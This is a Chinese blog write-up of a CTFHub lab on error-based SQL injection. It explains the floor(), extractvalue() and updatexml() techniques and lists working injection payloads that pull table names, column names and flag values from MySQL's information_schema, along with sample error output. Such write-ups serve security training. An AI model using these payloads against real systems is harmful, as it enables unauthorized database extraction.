博客
关于我
CTFHub_技能树_Web之SQL注入——报错注入(含三种解法)
阅读量:793 次
发布时间:2019-03-25

本文共 2285 字,大约阅读时间需要 7 分钟。

报错注入是一种在Web应用中揭示数据库信息的技术,主要通过利用特定的函数来构造自查错误,进而获取所需数据。本文将详细介绍报错注入的原理及其使用的函数,并通过实际示例展示注入过程。

一、报错注入原理

报错注入运作的核心在于利用某些数据库函数对输入参数进行处理,导致发至数据库的查询语句中包含所需的信息。以下是常用函数的原理:

1. floor()原理

floor()函数用于向下取整。对于报错注入,可以利用该函数获取特定信息。例如,当构造一个查询时,使用floor函数将随机数域与信息数据结合,通过报错信息提取出表名或其他数据库信息。

2. extractvalue()、updatexml()原理

这两个函数主要用于处理XML数据。extractvalue()用于从XML中提取指定路径的数据,而updatexml()则用于修改XML数据,返回修改后的内容。通过将数据库查询嵌入到这些函数的参数中,可以控制报错信息,从而获取所需数据或信息。

二、注入过程示例

Ⅰ、使用floor()

  • 查询表名

    ?id=1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

    该查询尝试获取当前数据库中的表名。floor(rand(0)*2)生成一个随机数域,结合information_schema.tables中表名,通过报错信息提取出表名。

    报错示例:

    Duplicate entry 'flag1' for key 'group_key'

    通过注入过程,可以发现数据库中包含多个表,需要进一步限制查询范围。

  • 查询列名

    ?id=1 and(select 1 from(select count(*),concat((select column_name from information_schema.columns where table_name="flag"),floor(rand(0)*2))x from information_schema.tables group by x)a)

    该查询针对已知的表名获取列名。通过报错信息,可以查看具体的列是否存在,并提取列名。

  • 查值

    ?id=1 and(select 1 from(select count(*),concat((select flag from flag),floor(rand(0)*2))x from information_schema.tables group by x)a)

    该查询用于从表中获取特定的字段值。通过报错信息,可以获取字段值。

  • Ⅱ、使用extractvalue()

  • 查询表名

    ?id=1 and (extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 1,1))))

    该查询尝试提取指定路径中的内容。使用0x5c生成反斜杠,结合table_name,形成有效的XPATH路径,提取表名。

    报错示例:

    XPATH syntax error: '\flag'

    通过修正XPATH路径,可以正确提取表名。

  • 查询列名

    ?id=1 and (extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name="flag"))))

    该查询用于获取指定表的列名。通过构造有效的XPATH路径,提取列名。

  • 查值

    ?id=1 and (extractvalue(1,concat(0x5c,(select flag from flag))))

    该查询用于获取特定字段的值。通过构造有效的XPATH路径,提取字段值。

  • Ⅲ、使用updatexml()

  • 查询表名

    ?id=1 and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1))

    该查询尝试修改XML数据中的内容。通过构造标签和特定路径,通过报错信息获取表名。

    报错示例:

    XPATH syntax error: '~flag~'

    通过修正标签,确保XPATH路径正确,可以交互获取所需信息。

  • 查询列名

    ?id=1 and(updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="flag"),0x7e),1))

    该查询用于获取指定表的列名。通过构造有效的标签和XPATH路径,提取列名。

  • 查值

    ?id=1 and(updatexml(1,concat(0x7e,(select flag from flag),0x7e),1))

    该查询用于获取特定字段的值。通过构造有效的标签和XPATH路径,提取字段值。

  • 转载地址:http://gppuk.baihongyu.com/

    你可能感兴趣的文章
    NIFI大数据进阶_NIFI集群知识点_集群的断开_重连_退役_卸载_总结---大数据之Nifi工作笔记0018
    查看>>
    NIFI大数据进阶_内嵌ZK模式集群1_搭建过程说明---大数据之Nifi工作笔记0015
    查看>>
    NIFI大数据进阶_外部ZK模式集群1_实际操作搭建NIFI外部ZK模式集群---大数据之Nifi工作笔记0017
    查看>>
    NIFI大数据进阶_实时同步MySql的数据到Hive中去_可增量同步_实时监控MySql数据库变化_操作方法说明_01---大数据之Nifi工作笔记0033
    查看>>
    NIFI大数据进阶_离线同步MySql数据到HDFS_01_实际操作---大数据之Nifi工作笔记0029
    查看>>
    NIFI大数据进阶_离线同步MySql数据到HDFS_02_实际操作_splitjson处理器_puthdfs处理器_querydatabasetable处理器---大数据之Nifi工作笔记0030
    查看>>
    NIFI大数据进阶_连接与关系_设置数据流负载均衡_设置背压_设置展现弯曲_介绍以及实际操作---大数据之Nifi工作笔记0027
    查看>>
    NIFI数据库同步_多表_特定表同时同步_实际操作_MySqlToMysql_可推广到其他数据库_Postgresql_Hbase_SqlServer等----大数据之Nifi工作笔记0053
    查看>>
    NIFI汉化_替换logo_二次开发_Idea编译NIFI最新源码_详细过程记录_全解析_Maven编译NIFI避坑指南001---大数据之Nifi工作笔记0068
    查看>>
    NIFI汉化_替换logo_二次开发_Idea编译NIFI最新源码_详细过程记录_全解析_Maven编译NIFI避坑指南002---大数据之Nifi工作笔记0069
    查看>>
    NIFI集群_内存溢出_CPU占用100%修复_GC overhead limit exceeded_NIFI: out of memory error ---大数据之Nifi工作笔记0017
    查看>>
    NIFI集群_队列Queue中数据无法清空_清除队列数据报错_无法删除queue_解决_集群中机器交替重启删除---大数据之Nifi工作笔记0061
    查看>>
    NIH发布包含10600张CT图像数据库 为AI算法测试铺路
    查看>>
    Nim教程【十二】
    查看>>
    Nim游戏
    查看>>
    NIO ByteBuffer实现原理
    查看>>
    Nio ByteBuffer组件读写指针切换原理与常用方法
    查看>>
    NIO Selector实现原理
    查看>>
    nio 中channel和buffer的基本使用
    查看>>
    NIO三大组件基础知识
    查看>>